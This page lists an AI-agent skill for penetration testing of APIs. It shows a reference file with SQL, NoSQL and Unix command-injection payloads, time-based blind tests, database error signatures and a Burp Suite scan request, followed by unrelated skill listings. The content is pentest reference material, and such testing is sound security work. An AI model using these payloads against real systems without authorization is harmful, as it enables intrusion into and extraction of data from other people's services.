Skip to content

SSZcreate/Pentab_server / .agents/skills/cybersecurity/skills/exploiting-api-injection-vulnerabilities

exploiting-api-injection-vulnerabilities

Flagged

Tests API parameters, headers, and request bodies for injection flaws — SQL injection, NoSQL injection, OS command injection, LDAP injection, and SSRF — by crafting payloads tailored to the target backend to extract data, execute commands, or reach internal services, mapped to OWASP API8:2023 and API7:2023 SSRF. Use when performing SQLi, NoSQL injection, command injection, or SSRF testing against APIs, or assessing API input validation.

FileKindSize
LICENSEother11.0 KB
SKILL.mdskill md19.4 KB
references/api-reference.mdmarkdown2.1 KB
scripts/agent.pyscript5.0 KB

references/api-reference.md

View on GitHub
# API Reference: API Injection Vulnerability Testing

## OWASP API Security Top 10

| # | Risk | Description |
|---|------|-------------|
| API1 | Broken Object Level Auth | Accessing other users' data |
| API2 | Broken Authentication | Weak auth mechanisms |
| API3 | Broken Object Property Level Auth | Mass assignment |
| API8 | Security Misconfiguration | Injection via misconfig |
| API10 | Unsafe Consumption | Server-side injection |

## SQL Injection Payloads

### Error-Based
```
' OR '1'='1
' UNION SELECT NULL,NULL--
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--
```

### Time-Based Blind
```
' AND SLEEP(5)--
' AND pg_sleep(5)--
'; WAITFOR DELAY '0:0:5'--
```

## NoSQL Injection Payloads

### MongoDB Operator Injection
```json
{"username": {"$ne": ""}, "password": {"$ne": ""}}
{"username": {"$gt": ""}}
{"username": {"$regex": "admin.*"}}
```

### Where Clause Injection
```json
{"$where": "this.password == 'test'"}
```

## Command Injection Payloads

### Unix
```
; id
| whoami
$(id)
`id`
```

### Blind Command Injection
```
; sleep 5
| ping -c 5 127.0.0.1
$(sleep 5)
```

## Python requests Library

### GET with Parameters
```python
import requests
resp = requests.get(url, params={"id": payload}, timeout=10, verify=False)
```

### POST with JSON Body
```python
resp = requests.post(url, json={"field": payload}, timeout=10)
```

### Response Analysis
| Attribute | Usage |
|-----------|-------|
| `resp.status_code` | HTTP status |
| `resp.text` | Response body |
| `resp.elapsed.total_seconds()` | Response time |
| `len(resp.content)` | Response size |

## Error Signatures

### SQL Databases
| Database | Error Pattern |
|----------|---------------|
| MySQL | `You have an error in your SQL syntax` |
| PostgreSQL | `ERROR: syntax error at or near` |
| MSSQL | `Unclosed quotation mark` |
| Oracle | `ORA-01756` |
| SQLite | `SQLITE_ERROR` |

## Burp Suite API

### Initiate Scan
```http
POST https://burp:1337/v0.1/scan
Content-Type: application/json

{
  "urls": ["https://api.target.com/v1/users"],
  "scan_configurations": [{"name": "Audit checks - SQL injection"}]
}
```
rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit.Stars: 465kUpdated Claude CodeCodexVerifiedInstall
rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure.Stars: 465kUpdated Claude CodeCodexVerifiedInstall
rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics.Stars: 465kUpdated Claude CodeCodexVerifiedInstall
ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first.Stars: 192kUpdated Claude CodeCodexVerifiedInstall